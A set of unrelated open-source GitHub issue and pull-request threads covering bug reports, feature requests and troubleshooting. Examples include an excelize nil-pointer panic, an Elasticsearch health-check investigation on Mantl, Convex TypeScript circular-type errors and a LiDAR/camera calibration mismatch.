Add option to save checkpoint with lowest validation score only

My VMs are running out of memory for timing runs because the checkpoints of all evals are saved by default.
This will be an issue for scoring too.

@priyakasimbeg Can this issue be closed?

Added an option to save just last eval checkpoint, which I think is good enough for now to deal with the memory issue.
If people would rather save the checkpoint with the lowest eval, we'll open a new issue.


Need to Disable Naming Execution During Workflow Execution

Related to #2062, currently during workflow execution the execution naming input box is still enabled, but does not actually work.
Either we need to disable this during execution, or make renaming the execution work.

closed by #2139 .


chore(deps): upgrade dependencies

Upgrades project dependencies. See details in workflow run.

Automatically created by projen via the "upgrade-main" workflow

Codecov Report

Merging #180 (f69ddf4) into main (2974dfe) will increase coverage by 9.55%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##             main     #180      +/-   ##
==========================================
+ Coverage   83.33%   92.88%   +9.55%
==========================================
  Files           2        2
  Lines         126      478     +352
  Branches       31       49      +18
==========================================
+ Hits          105      444     +339
- Misses         21       33      +12
- Partials        0        1       +1

Impacted Files
Coverage Δ

example/src/main.ts
95.65% <100.00%> (+7.19%)
:arrow_up:

src/index.ts
91.76% <100.00%> (+9.76%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update efededd...f69ddf4. Read the comment docs.


Support 'highest' quality

Expected Behavior
To be able to request the highest quality available and have it automatically selected
Current Behavior
Currently you have to mimic the inner workings of #chooseFormat in order to replicate this logic and then manually iterate down the potential qualities to see if it exists. This should be encapsulated within the library.
Sample Code
it would be nice to be able to do this:
{
    quality: 'highest'
}

activity

I'm closing this issue since the above PR implements this suggestion and has been available in the main branch for quite a while now.


Tmsagarofficial patch 1

@tmsagarofficial  thanks for the typo fixes, I modified some and created a new PR since I can't push to your branch.


feat(operator): add podStatus ui wheel to component

fixes #874

[ ] Service is only located, not "completed"
[ ] Only displayed via the CRD -> Instance view, not Search -> Session view..

Skipping CI for Draft Pull Request.
If you want CI signal for your change, please convert it to an actual PR.
You can still manually trigger a test run with /test all


Added Steps to test Invoice creation with the Simple-Tax-Plugin

Installed the Simple-Tax-Plugin.
Created a Simple Catalog using Product name as Standard and Plan name as Standard-Monthly. This is explained here.
Uploaded the plugin config. It is explained here.
Created a new account. It is explained here.
Added a tax country for this account. It is explained here.
Created a subscription under Kaui for Standard-Monthly plan. It is explained here.
Checked the invoice in the Invoices tab.

Could you add these steps in the README itself, instead of the PR? That way, future users will be able to set it up simply by reading the README.


[Feature][Connector V2][File] Add config of 'file_filter_pattern', which used for filtering files.

Add config of 'file_filter_pattern', which used for filtering files.

Purpose of this pull request

Check list

[ ] Code changed are covered with tests, or it does not need tests for reason:
[ ] If any new Jar binary package adding in your PR, please add License Notice according
New License Guide
[ ] If necessary, please update the documentation to describe the new feature. https://github.com/apache/seatunnel/tree/dev/docs
[ ] If you are contributing the connector code, please check that the following files are updated:

Update change log that in connector document. For more details you can refer to connector-v2
Update plugin-mapping.properties and add new connector information in it
Update the pom file of seatunnel-dist

[ ] Update the release-note.

good pr！CC @TyrantLucifer

Do we need to add e2e test for special cases? For example, none of the files meet the filtering requirements.

Recently, if file list is empty, connector will throw exception. So I think it does not make sense.

PTAL. @TaoZex @TyrantLucifer


Better musl handling

~This should allow to spot musl-related bugs more easily (those in the Linux "static" launcher), by not defaulting to glibc from the static launcher, even when it's available when we're running (when we pick a JVM, when we download scalafmt or metabrowse external binaries, …)~

When using the static launcher, the last commit should make us default to a Java 8 liberica on alpine in particular, rather than a latest-Java-version liberica (currently, 17).


Recompressing output video

System specs

Windows 10
AMD 6600
32 Gb Ram

Settings

Output resolution 1280 x 960
RealESR_Gx4
GPU Auto
AI Multithreading 1
GPU VRAM 8Gb
Video Output x264
AI Interpolation High
CPU Number 4
Input Resolution 100
Keep frame Enabled

Video spec

320 x 240
286 MB MP4
Data rate 33kbps
Total Bitrate 261kbps
30 fps

Issue
It appears that the resulting output video is either not being compressed, or is having issues with recompression such that it isn't able to fully compress the video format.
My investigation
Reviewing the frames, it appears they came to about 36Gb, though this did include the original frames, but that still suggests a reduction in size to about a 3rd, though this still seems extremely large.
I suspect the issue maybe artefact's between frames due to upscaling resulting in poor compression, though I'm not super familiar with the intracacies of either superscaling nor mp4 so this is just a rough guess on my limited knowledge

Hi my friend,
if you are talking about upscaled video quality, I think the problem is that you selected AI Interpolation=High
The Medium or High setting should be reserved for starting video already in good condition, as far as I can see your starting video is 320x240 in resolution, so not a very good quality.
You can try using AI Interpolation=Low or Disabled


When I do not set the conditional formatting style, I will get an nil error

Description
Reading a file with conditional formatting as cell values, but without formatting, GetConditionalFormats() will return a nil error. It was found that the issue was caused by DxfID being nil. We hope to fix this issue
package main

import (
	"fmt"
	"log"
	"strings"

	"github.com/xuri/excelize/v2"
)

func main() {
	file, err := excelize.OpenFile("bbb.xlsx")
	if err != nil {
		fmt.Printf("open file failed:%s", err.Error())
		return
	}
	formats, err := file.GetConditionalFormats("Sheet1")
	if err != nil {
		fmt.Printf("get conditionformats failed:%s", err.Error())
		return
	}
}

panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xc0000005 code=0x0 addr=0x0 pc=0x10bef2b]

goroutine 1 [running]:
github.com/xuri/excelize/v2.extractCondFmtCellIs(_, _)
        D:/Users/xx/go/pkg/mod/github.com/xuri/excelize/v2@v2.8.1-0.20231202040309-18a160c5be82/styles.go:2764 +0xcb
github.com/xuri/excelize/v2.(*File).GetConditionalFormats(0x11625d7?, {0x115eb16, 0x6})
        D:/Users/xx/go/pkg/mod/github.com/xuri/excelize/v2@v2.8.1-0.20231202040309-18a160c5be82/styles.go:2996 +0x2a5
main.main()
        E:/projects/excelizeDemo/main.go:17 +0x65

And I have found that errors can also occur if the conditional format type is null and not formatted. I hope you can handle similar unformatted scenarios.

Thanks for your issue. This issue already has been fixed by commit 866f308. Please upgrade to the master branch code, and this patch will be released in the next version. I've closed this, if it still not work, please let me know, and you can reopen this anytime.

I found something wrong in this commit, if there is a condition A with style ,the unstyled condition will be applied with A's style.
func (f *File) extractCondFmtCellIs(c *xlsxCfRule, extLst *xlsxExtLst) ConditionalFormatOptions {
   format := ConditionalFormatOptions{StopIfTrue: c.StopIfTrue, Type: "cell", Criteria: operatorType[c.Operator]}
   if c.DxfID != nil {
   	format.Format = *c.DxfID
   }
   if len(c.Formula) == 2 {
   	format.MinValue, format.MaxValue = c.Formula[0], c.Formula[1]
   	return format
   }
   format.Value = c.Formula[0]
   return format
}

because the condition A's DxfID is 0,that is to say c.DxfID is 0 , and the unstyled condition's DxfID is nil, format default is 0,so after extract,they all will be 0,we can't distinguish who is unstyled

@xuri I found something wrong in this commit, if there is a condition A with style ,the unstyled condition will be applied with A's style.
func (f *File) extractCondFmtCellIs(c *xlsxCfRule, extLst *xlsxExtLst) ConditionalFormatOptions {
   format := ConditionalFormatOptions{StopIfTrue: c.StopIfTrue, Type: "cell", Criteria: operatorType[c.Operator]}
   if c.DxfID != nil {
   	format.Format = *c.DxfID
   }
   if len(c.Formula) == 2 {
   	format.MinValue, format.MaxValue = c.Formula[0], c.Formula[1]
   	return format
   }
   format.Value = c.Formula[0]
   return format
}

because the condition A's DxfID is 0,that is to say c.DxfID is 0 , and the unstyled condition's DxfID is nil, format default is 0,so after extract,they all will be 0,we can't distinguish who is unstyled

Thanks for the feedback. This same as issue #1867. I've fixed it. Please upgrade to the master branch code, and this breaking change will be released in the next version.


Add batch sizing by num rows as config for Vectorized reads

Currently the POC on vectorization assumes batch size to be the rowgroup size. Should add ability to set num rows as batch size. If rowgroup ends before the vector batch is done, continue reading the next rowgroup.

@prodeezy, this is completed, right? I'm going to close it. Please reopen if I'm wrong.

yes. thank you @rdblue


[AutoPR compute/resource-manager] fix compute 2017-12 for Go SDK

Created to sync https://github.com/Azure/azure-rest-api-specs/pull/5970

This PR has been merged into https://github.com/Azure/azure-sdk-for-go/pull/4809


elasticsearch_client health check keeps failing, redeploying in marathon

After ELK addon is installed (via ansible), seeing the following:
Marathon -
Warning: Health check 'HTTP /_cluster/health' failed.

I also tried this with the steps provided in #1318, got the same error.

Ansible version (ansible --version): 1.9.4
Python version (python --version): 2.7.5
Git commit hash or branch: master:latest
Cloud Environment: GCE
Terraform version (terraform version): 0.6.13

can you take a look at the stdout and stderr logs for the elasticsearch-client task from the Mesos UI? Hopefully, there will be some output that will indicate what the problem is. Feel free to post here.

I am seeing this too!  I just deployed a completely fresh deployment in DO, but i see this after running the addon install.
curl: (28) Connection timed out after 5002 milliseconds
The Elasticsearch cluster is not healthy.

Requested output below since @dutronlabs  hasnt had a chance yet.
stderr
I0508 01:35:19.200503 29778 exec.cpp:134] Version: 0.25.0
I0508 01:35:19.213757 29779 exec.cpp:208] Executor registered on slave d7a7c055-338b-4291-90f3-37d8164c3271-S4
Warning: '-c' is deprecated, it will be replaced by '--cpu-shares' soon. See usage.
+ export ELASTICSEARCH_SERVICE=transport_port.elasticsearch-executor-mantl
+ ELASTICSEARCH_SERVICE=transport_port.elasticsearch-executor-mantl
+ export ELASTICSEARCH_CLUSTER_NAME=mantl
+ ELASTICSEARCH_CLUSTER_NAME=mantl
+ CONSUL_TEMPLATE=/usr/local/bin/consul-template
+ CONSUL_CONFIG=/consul-template/config.d
+ CONSUL_CONNECT=consul.service.consul:8500
+ CONSUL_MINWAIT=30s
+ CONSUL_MAXWAIT=60s
+ CONSUL_LOGLEVEL=warn
+ CONSUL_SSL_VERIFY=false
++ awk '{ print $1 ; exit }'
++ getent hosts mantl-do-nyc2-worker-002
+ export PUBLISH_HOST=<IP_ADDRESS>
+ PUBLISH_HOST=<IP_ADDRESS>
+ [[ -n consul.service.consul:8500 ]]
+ ctargs=' -consul consul.service.consul:8500'
+ [[ -n true ]]
+ ctargs=' -consul consul.service.consul:8500 -ssl'
+ [[ -n true ]]
+ ctargs=' -consul consul.service.consul:8500 -ssl -ssl-verify=false'
+ [[ -n '' ]]
+ ATTEMPT=0
+ wait_for_service
+ /usr/local/bin/consul-template -config /consul-template/config.d -log-level warn -wait 30s:60s -once -consul consul.service.consul:8500 -ssl -ssl-verify=false
2016/05/08 01:35:20 [WARN] (runner) disabling consul SSL verification
+ grep discovery.zen.ping.unicast.hosts /usr/share/elasticsearch/config/elasticsearch.yml
+ [[ 0 -eq 5 ]]
+ exec /docker-entrypoint.sh elasticsearch
[ZoneTransfer]
ZoneId=3

stdout
--container="mesos-d7a7c055-338b-4291-90f3-37d8164c3271-S4.d9db25f5-7672-4ebe-90ca-2e7683c828bc" --docker="docker" --docker_socket="/var/run/docker.sock" --help="false" --initialize_driver_logging="true" --logbufsecs="0" --logging_level="INFO" --mapped_directory="/mnt/mesos/sandbox" --quiet="false" --sandbox_directory="/var/lib/mesos/slaves/d7a7c055-338b-4291-90f3-37d8164c3271-S4/frameworks/0bfd2cbe-2cb8-4462-b97c-7ba71086d010-0000/executors/mantl_elasticsearch-client.1f66e3f1-14bd-11e6-b361-a6c256ed5ea8/runs/d9db25f5-7672-4ebe-90ca-2e7683c828bc" --stop_timeout="0ns"
--container="mesos-d7a7c055-338b-4291-90f3-37d8164c3271-S4.d9db25f5-7672-4ebe-90ca-2e7683c828bc" --docker="docker" --docker_socket="/var/run/docker.sock" --help="false" --initialize_driver_logging="true" --logbufsecs="0" --logging_level="INFO" --mapped_directory="/mnt/mesos/sandbox" --quiet="false" --sandbox_directory="/var/lib/mesos/slaves/d7a7c055-338b-4291-90f3-37d8164c3271-S4/frameworks/0bfd2cbe-2cb8-4462-b97c-7ba71086d010-0000/executors/mantl_elasticsearch-client.1f66e3f1-14bd-11e6-b361-a6c256ed5ea8/runs/d9db25f5-7672-4ebe-90ca-2e7683c828bc" --stop_timeout="0ns"
Registered docker executor on mantl-do-nyc2-worker-002
Starting task mantl_elasticsearch-client.1f66e3f1-14bd-11e6-b361-a6c256ed5ea8
[2016-05-08 01:35:53,893][INFO ][node                     ] [Spellbinder] version[2.1.1], pid[16], build[40e2c53/2015-12-15T13:05:55Z]
[2016-05-08 01:35:53,897][INFO ][node                     ] [Spellbinder] initializing ...
[2016-05-08 01:35:54,194][INFO ][plugins                  ] [Spellbinder] loaded [], sites []
[2016-05-08 01:35:59,132][INFO ][node                     ] [Spellbinder] initialized
[2016-05-08 01:35:59,132][INFO ][node                     ] [Spellbinder] starting ...
[2016-05-08 01:35:59,351][INFO ][transport                ] [Spellbinder] publish_address {<IP_ADDRESS>:9300}, bound_addresses {[::]:9300}
[2016-05-08 01:35:59,388][INFO ][discovery                ] [Spellbinder] mantl/pyTOiGWHRv27DbhE3AUc_w
[2016-05-08 01:36:02,583][INFO ][cluster.service          ] [Spellbinder] detected_master {Jekyll}{bb3xVvRgQS-mkQFFUBUgRQ}{<IP_ADDRESS>}{<IP_ADDRESS>:4001}{local=false, master=true}, added {{Jekyll}{bb3xVvRgQS-mkQFFUBUgRQ}{<IP_ADDRESS>}{<IP_ADDRESS>:4001}{local=false, master=true},}, reason: zen-disco-receive(from master [{Jekyll}{bb3xVvRgQS-mkQFFUBUgRQ}{<IP_ADDRESS>}{<IP_ADDRESS>:4001}{local=false, master=true}])
[2016-05-08 01:36:02,620][INFO ][http                     ] [Spellbinder] publish_address {<IP_ADDRESS>:9200}, bound_addresses {[::]:9200}
[2016-05-08 01:36:02,621][INFO ][node                     ] [Spellbinder] started
[ZoneTransfer]
ZoneId=3

Add this image of the health checks to see if that helps at all:

I am not setup to test digitalocean right now but I can't repro on GCE. I don't see anything obvious in the logs. The elasticsearch-client health check hits the /_cluster/health elasticsearch endpoint. Can you manually check that to see what the issue is? You can find the host/port it is running on via marathon.

mantl-do-nyc2-worker-002:[9200, 9300]  How would i a manual health check?  Telnet to the port?

This is interesting..  on the marathon peice under configuration:
Container
{
  "type": "DOCKER",
  "volumes": [],
  "docker": {
    "image": "ciscocloud/mantl-elasticsearch-client:2.1.1",
    "network": "BRIDGE",
    "portMappings": [
      {
        "containerPort": 9200,
        "hostPort": 9200,
        "servicePort": 10003,
        "protocol": "tcp"
      },
      {
        "containerPort": 9300,
        "hostPort": 9300,
        "servicePort": 10004,
        "protocol": "tcp"
      }
    ],
    "privileged": false,
    "parameters": [],
    "forcePullImage": false
  }
}

Then Health Checks:
[
  {
    "path": "/_cluster/health",
    "protocol": "HTTP",
    "portIndex": 0,
    "gracePeriodSeconds": 30,
    "intervalSeconds": 30,
    "timeoutSeconds": 10,
    "maxConsecutiveFailures": 5,
    "ignoreHttp1xx": false
  }
]

@distributorofpain You'll want to run a curl command, that's what Consul is doing. I think that
curl -Lk <your-node>:9200/_cluster/health

should do it, where <your-node> is the IP address you got from the Marathon dashboard, as @ryane mentioned.

Output of that ( i tried both interfaces, both had the same result ):
 curl -lk <IP_ADDRESS>:9200/_cluster/health
{"cluster_name":"mantl","status":"green","timed_out":false,"number_of_nodes":2,"number_of_data_nodes":1,"active_primary_shards":16,"active_shards":16,"relocating_shards":0,"initializing_shards":0,"unassigned_shards":0,"delayed_unassigned_shards":0,"number_of_pending_tasks":0,"number_of_in_flight_fetch":0,"task_max_waiting_in_queue_millis":0,"active_shards_percent_as_number":100.0}

@distributorofpain that is showing that your elasticsearch-client-mantl service is actually healthy. Looking back on the thread, I see you were reporting something slightly different than the original issue. It looks like your elasticsearch-mantl service is unhealthy - that is the service for the mesos framework (https://github.com/mesos/elasticsearch) itself - not the client node. You can find the host it is running on by looking at the mantl/elasticsearch app in marathon (the port should be 31100 unless you customized your install).
Run
curl host:31100/v1/tasks
That will return some json that lists every elasticsearch node that the framework started. Then, curl the health endpoint /_cluster/health for each http address in the resulting json. Hopefully, that will tell us something.

response for 31100 is:
curl -lk <IP_ADDRESS>:31100/v1/tasks
[{"id":"elasticsearch_mantl-do-nyc2-worker-002_20160508T011438.260Z","state":"TASK_RUNNING","name":"elasticsearch-executor-mantl","version":"1.0.1","started_at":"2016-05-08T01:14:38.452Z","http_address":"<IP_ADDRESS>:4000","transport_address":"<IP_ADDRESS>:4001","hostname":"mantl-do-nyc2-worker-002"}

Then i ran this against the only server in the output above:
curl -lk <IP_ADDRESS>:4000/_cluster/health
{"cluster_name":"mantl","status":"green","timed_out":false,"number_of_nodes":2,"number_of_data_nodes":1,"active_primary_shards":16,"active_shards":16,"relocating_shards":0,"initializing_shards":0,"unassigned_shards":0,"delayed_unassigned_shards":0,"number_of_pending_tasks":0,"number_of_in_flight_fetch":0,"task_max_waiting_in_queue_millis":0,"active_shards_percent_as_number":100.0}

If i run it against the transport_address noted there, i get the following:
 curl -lk <IP_ADDRESS>:4001/_cluster/health
This is not a HTTP port

@distributorofpain that error from the transport port is expected. but I am not sure what your issue is. all of the health check commands are reporting that your install is healthy. are you still seeing failing health checks? is your elasticsearch instance working otherwise?

yes, everything is working, just have that health check error.
Maybe something wrong with the check script?
check_script=if [[ "$(node=$(curl --silent --show-error --fail --retry 2 --connect-timeout 5 --max-time 5 http://{host}:{port}/v1/tasks/ | jq -r '.[0].http_address') && curl --silent --show-error --fail --retry 2 --connect-timeout 5 --max-time 5 http://$node/_cluster/health | jq -r .status)" != "green" ]]; then echo The Elasticsearch cluster is not healthy.; exit 1; fi;

I should note that this issue doesnt show up in my bare metal deployment, though i think the code version is older due to the fact that kubernetes was added in the build i used for DO.  Perhaps something was updated in the code between april and may?

I don't see this problem in master (but haven't tested DO explicitly).
does the consul service for elasticsearch-mantl have the write host and port registered? you can find it in the ui or hitting the consul api from one of your nodes. for example:
curl http://localhost:8500/v1/catalog/service/elasticsearch-mantl | jq .

If it is correct, the only thing I can think of is to break down that health check into a series of curl commands and see if you can figure out where it is broken.

i had to rebuild the cluster in DO due to a failed worker expansion.  After rebuild the error is no longer there, all healthchecks are clean.

Since this issue has been unreproducable, I'm going to close this.


Add webp as a ImageMagick supported format

We use Craft CMS (https://craftcms.com/) as our CMS of choice, and it uses ImageMagick as its image driver of choice.
I've noticed that the Docksal cli image I'm using (docksal/cli:2.6-php7.3) doesn't have support for webp with ImageMagick:

Would it please be possible to get it enabled as a supported format, similar to GD?

The new Debian 10 (Buster) based images have WebP available via ImageMagick.
docksal/cli:2.8-php7.1
docksal/cli:2.8-php7.2
docksal/cli:2.8-php7.3

$ fin config set CLI_IMAGE=docksal/cli:2.8-php7.3
$ fin up
$ fin exec identify -list format | grep webp
     WEBP* WEBP      rw-   WebP Image Format (libwebp 0.6.1[0208])

Brilliant, thanks for the fast response @lmakarov ! I'll keep an eye on newer images in the future.


feat: goroutine leak check

This is combined PR for all changes related to the issue #3516
Closes:  #3522

This change is

Closing this PR in favor of #3804


nz-space cannot use input and its validation properly in form.

Reproduction link
https://stackblitz.com/edit/ng-zorro-antd-ivy-rkdlez
Steps to reproduce
nz-space cannot use input and its validation properly in form.
What is expected?
Fix it ,or show me how to correctly use nz-space in form control.
What is actually happening?
not work

Environment
Info

ng-zorro-antd
13.1.1

Browser
Chrome

Hi, By default nz-form-control gets control by ContentChild and in your case it doesn't find when you pass nz-space as content.
You can set  nzValidateStatus property tonz-form-control and it should work.
<nz-form-control [nzSpan]="12" [nzErrorTip]="userErrorTpl" [nzValidateStatus]="validateForm.get('userName1')!">
   <nz-space>
    <input *nzSpaceItem nz-input formControlName="userName1"/>
    <p *nzSpaceItem>123</p>
  </nz-space>
  <ng-template #userErrorTpl let-control>
    <ng-container *ngIf="control.hasError('required')">Please input your username!</ng-container>
  </ng-template>
</nz-form-control>

Hi, thank you. It is finally working properly now, but why can't we find such instructions in the official documentation and update notes. I didn't have this problem until I updated version 13.


Convex Actions - returning anything from "runQuery" or "runMutations" ends with circular reference error

When creating the app for the Web Dev Cody's hackathon, I found that returning anything from the ctx.runQuery or ctx.runMutation when using the Convex Actions ends with "circularly references" error.
reproduction repo: https://github.com/Willaiem/convex-ts-bug
Reproduction steps:

Create the Vite app with React with npm init vite@latest and choose React + TS.
Install the dependencies.
Run npx convex dev
Create actions.ts and paste the code below.

actions.ts
import { action, internalQuery } from "./_generated/server";
import { internal } from "./_generated/api";

export const getTasks = internalQuery({
    args: {},
    handler: async (ctx) => {
        const tasks = await ctx.db.query('tasks').collect()

        return tasks
    }
})

export const invokeAction = action({
    args: {},
    handler: async (ctx) => {
        const tasks = await ctx.runQuery(internal.actions.getTasks)

        const texts = tasks.map(task => task.text)

        // do something else...

        return texts
    }
})

The error from the Convex CLI:
PS E:\programowaniefiles\convex-ts-bug> npx convex dev
✖ TypeScript typecheck via `tsc` failed.
To ignore failing typecheck, use `--typecheck=disable`.
convex/_generated/api.d.ts:27:15 - error TS2502: 'fullApi' is referenced directly or indirectly in its own type annotation.

27 declare const fullApi: ApiFromModules<{
                 ~~~~~~~
convex/_generated/api.d.ts:27:24 - error TS2615: Type of property 'actions' circularly references itself in mapped type '{ [Key in keyof { actions: FunctionReferencesInModule<typeof import("E:/programowaniefiles/convex-ts-bug/convex/actions")>; }]: ExpandModulesAndDirs<{ actions: FunctionReferencesInModule<typeof import("E:/programowaniefiles/convex-ts-bug/convex/actions")>; }[Key]>; }'.

27 declare const fullApi: ApiFromModules<{
                          ~~~~~~~~~~~~~~~~
28   actions: typeof actions;
   ~~~~~~~~~~~~~~~~~~~~~~~~~~
29 }>;
   ~~

convex/_generated/api.d.ts:34:22 - error TS2502: 'internal' is referenced directly or indirectly in its own type annotation.

34 export declare const internal: FilterApi<
                        ~~~~~~~~

convex/_generated/api.d.ts:35:10 - error TS2615: Type of property 'actions' circularly references itself in mapped type '{ actions: { getTasks: FunctionReference<"query", "internal", {}, { _id: Id<"tasks">; _creationTime: number; text: string; isCompleted: boolean; }[]>; invokeAction: FunctionReference<...> | ... 1 more ... | FunctionReference<...>; }; }'.

35   typeof fullApi,
            ~~~~~~~

convex/actions.ts:15:14 - error TS7022: 'invokeAction' implicitly has type 'any' because it does not have a type annotation and is referenced directly or indirectly in its own initializer.

15 export const invokeAction = action({
                ~~~~~~~~~~~~

convex/actions.ts:18:15 - error TS7022: 'tasks' implicitly has type 'any' because it does not have a type annotation and is referenced directly or indirectly in its own initializer.

18         const tasks = await ctx.runQuery(internal.actions.getTasks)
                 ~~~~~

convex/actions.ts:20:15 - error TS7022: 'texts' implicitly has type 'any' because it does not have a type annotation and is referenced directly or indirectly in its own initializer.

20         const texts = tasks.map(task => task.text)
                 ~~~~~

convex/actions.ts:20:33 - error TS7006: Parameter 'task' implicitly has an 'any' type.

20         const texts = tasks.map(task => task.text)
                                   ~~~~

Found 8 errors in 2 files.

Errors  Files
     4  convex/_generated/api.d.ts:27
     4  convex/actions.ts:15

Yup, this is a known TS limitation. To get around it you need to type annotate the result value for either functions.
Thanks for reporting!

Yup, this is a known TS limitation. To get around it you need to type annotate the result value for either functions.

Can I ask you for a code example? This instruction feels ambiguous, and I've attempted type annotating the return value of a handler and I've type-annotated an entire RegisteredQuery to no avail.
Would it hurt to add a TL;DR to the docs considering how well-known this issue is? I'd be happy to open an example PR on the docs if I can get it fixed in my codebase.
Thanks!

Yup, this is a known TS limitation. To get around it you need to type annotate the result value for either functions.

Can I ask you for a code example? This instruction feels ambiguous, and I've attempted type annotating the return value of a handler and I've type-annotated an entire RegisteredQuery to no avail.
Would it hurt to add a TL;DR to the docs considering how well-known this issue is? I'd be happy to open an example PR on the docs if I can get it fixed in my codebase.
Thanks!

The workaround that I found working is by extracting the type from the desired query/mutation/action.
import { action, internalQuery } from "./_generated/server";
import { internal } from "./_generated/api";

export const getTasks = internalQuery({
    args: {},
    handler: async (ctx) => {
        const tasks = await ctx.db.query('tasks').collect()

        return tasks
    }
})

type UnwrapConvex<T extends (...args: any[]) => Promise<any>> = Awaited<ReturnType<T>>

export const invokeAction = action({
    args: {},
    handler: async (ctx) => {
        const tasks = await ctx.runQuery(internal.actions.getTasks) as UnwrapConvex<typeof getTasks>
        // now the circular dependency error won't occur since we changed the source of the types to the query itself

        return tasks
    }
})

I wish I could just do this and call it a day:
const tasks = await ctx.runQuery(getTasks)

I wonder if this is even what @xixixao  was recommending...

To get around it you need to type annotate the result value for either functions.
Convex overloaded the notion of a Function with their specification, so it's impossible to say if what you did was what they were suggesting/not.
I do like  your solution though, @Willaiem. I was trying to type annotate the actual convex function types with the convex generic types. It was really painful when I got to larger documents and typescript's lsp limitations(truncation of types) kicked in. Stuff like this really needs better documentation

Thanks for the feedback and the cool helper from @Willaiem. We'll see what we can do about this issue and what to add to docs.
cc @thomasballinger


[Java] Adding Spotless to Flight module

Describe the enhancement requested
The main issue discussing the inclusion of Spotless plugin is discussed here.
Component(s)
Java

Issue resolved by pull request 42063
https://github.com/apache/arrow/pull/42063


let marked as "Read only" in cases in inner-blocks

As far as I know, let variables aren't read-only in ~any case and should be available in child-blocks of the block that it was declared in.
function generateName() {
  let name = `generated-string-${this.foo}`;
  if (this.bar) {
    name += `-${this.bar}`; // JShint doesn't like this line, outputs: "Ready only"
  }
  return name;
}
generateName();

Output in jshint.com --

Link to babel output for this code:
http://slex.me/0H2O2w0c3I3g

Hey Alex! I believe this was resolved via gh-2214 and released in JSHint 2.7.0 (the website is still running 2.6.3--sorry about that). Can you tell me what version you are using? If it's 2.7.0, then we've got some splaining to do.

I just ran into this when running 2.6.3, and upgrading to 2.7.0 does resolve it.  Thanks!

Thanks @etlovett . In absence of further information from @SlexAxton, I'm going to close this issue. Please chime in if there's still a problem, Alex

(Ah, sorry, I missed these followups til the mention. Looks fixed to me! Thanks!!)


cherrypicker plugin can't process several requests in the same comment

I'm reposting here the original report in test-infra: kubernetes/test-infra#29666
Expected behavior:
A comment of the form:
/cherrypick release-X
/cherrypick release-Y

should trigger two answers announcing the cherry-pick for each , or alternatively one message with all the planned cherry-picks.
Then when the branch is merged both cherrypick should be created against the target branch (the behavior is consistent, I don't have a link right now but I've noted it on merged PRs as well)
Actual behavior:
Only the first cherrypick commands is acknowledged by the bot.
Examples:
For instance this comment only triggers a cherry-pick on the first mentioned branch.
This was implemented but has apparently regressed.

I tried to look into this and am wondering if the cherrypicker would really not have created all of the requested cherrypicks, even though it might have responded with a misleading message.
Because the handlePullRequest function does loop through all target branches and is covered by a unit test. But the handleSingleComment function only ever takes the first match and formulates a response for it.
I must admit I have never tried to ignore that message and just let the plugin do its thing once the PR merges, I also always manually created new GitHub comments for the remaining target branches.

So I tested this today and it seems I am right: https://github.com/kubermatic/kubermatic/pull/13811 -- the response comment only mentioned the first branch, but ultimately cherrypicker tried to create 2 PRs.

Good to know o/ I guess the only things that needs changing is the prow
message then, I guess we're not the only ones confused by this ^^.

/kind bug

Fixed by #305 ! (and it works on a recent PR :+1: ) Thanks !


Make subnets iterable

Extended the subnets resource to make it iterable so the following is possible:
describe subnets = vpc.subnets do
    subnets.each do |subnet|
      describe subnet do
        its(:availability_zone) { should start_with 'us-east-1' }
      end
    end
  end

Had to add a require 'forwardable', otherwise it fails with:
$ rake test
rake aborted!
NameError: uninitialized constant Serverspec::Type::AWS::EC2::Subnets::Forwardable
[snip]

This happens with Ruby 2.1.6. Still at this version as I'm using ChefDK as development environment for all my Ruby code.

Pushed v0.1.1 to Rubygems.


Misalignment between camera data frames and LiDAR data frames

We projected the 3D bounding boxes on the LiDAR coordinate system onto the image and found the misalignment problem.
LiDAR id: 000009
Camera id: 000009

LiDAR id: 000009
Camera id: 000010

For 000009 frame

If you try using this codebase, the bounding box looks more correct but still has some alignment issues. If you look at consecutive frames, the bounding boxes change significantly, which should not happen.
Perhaps the reason is that the rotation matrix is not really proper, I hope the authors can clarify
r_velo2cam [[-0.06380332 -0.99109149 -0.04429948]
[-0.21028734  0.04399769 -0.79876929]
[ 0.97575115 -0.06031493 -0.17158543]]
angles
90.280
89.763
88.653
Determinant 0.813

For 000009 frame  If you try using this codebase, the bounding box looks more correct but still has some alignment issues. If you look at consecutive frames, the bounding boxes change significantly, which should not happen.
Perhaps the reason is that the rotation matrix is not really proper, I hope the authors can clarify r_velo2cam [[-0.06380332 -0.99109149 -0.04429948] [-0.21028734 0.04399769 -0.79876929] [ 0.97575115 -0.06031493 -0.17158543]] angles 90.280 89.763 88.653
However, also I check the alignment of objects in the Camera coordinate system between LiDAR and bounding boxes and found no issues, which makes me suspect that the issue is actually with the intrinsic matrix.

Hi, could you please tell me how you got the correct rotation matrix to get the result in the figure?

You can take a look at the vis_label_in_image.py and vis_utils.py to see the label's path, and how they form the 3D bounding box, and below are the rotation and translation for the frame 000009.
r_velo2cam [[-0.06380332 -0.99109149 -0.04429948] [-0.21028734 0.04399769 -0.79876929] [ 0.97575115 -0.06031493 -0.17158543]] angle 90.28066678210665 89.7638531050683 88.65343846834244 t_velo2cam [[-5.7791444 ] [ 6.03761576] [ 1.0636424 ]]  Btw, would you mind sending me an email? I would like to discuss more regarding this. You can find my email on my Github profile. Thanks!

Thanks. I found something wrong in README that caused my results. When using 'tools/dataset_converter/dair2kitti.py' for roadside data conversion, we should use '--label-type camera' instead of 'lidar' as described in README.
My email is<EMAIL_ADDRESS>

You can take a look at the vis_label_in_image.py and vis_utils.py to see the label's path, and how they form the 3D bounding box, and below are the rotation and translation for the frame 000009.
r_velo2cam [[-0.06380332 -0.99109149 -0.04429948] [-0.21028734 0.04399769 -0.79876929] [ 0.97575115 -0.06031493 -0.17158543]] angle 90.28066678210665 89.7638531050683 88.65343846834244 t_velo2cam [[-5.7791444 ] [ 6.03761576] [ 1.0636424 ]]  Btw, would you mind sending me an email? I would like to discuss more regarding this. You can find my email on my Github profile. Thanks!

This is still wrong! When using labels under the camera directory, 3d_bboxes can be projected correctly to the corresponding image frames, but these 3d_bboxes are misaligned in the point cloud coordinate system! When using labels under the vituallidar directory, 3d_bboxes are correct in the point cloud coordinate system but can not be projected correctly to the corresponding image frames.
I think this is essentially a misalignment between the camera data frames and the LiDAR data frames.

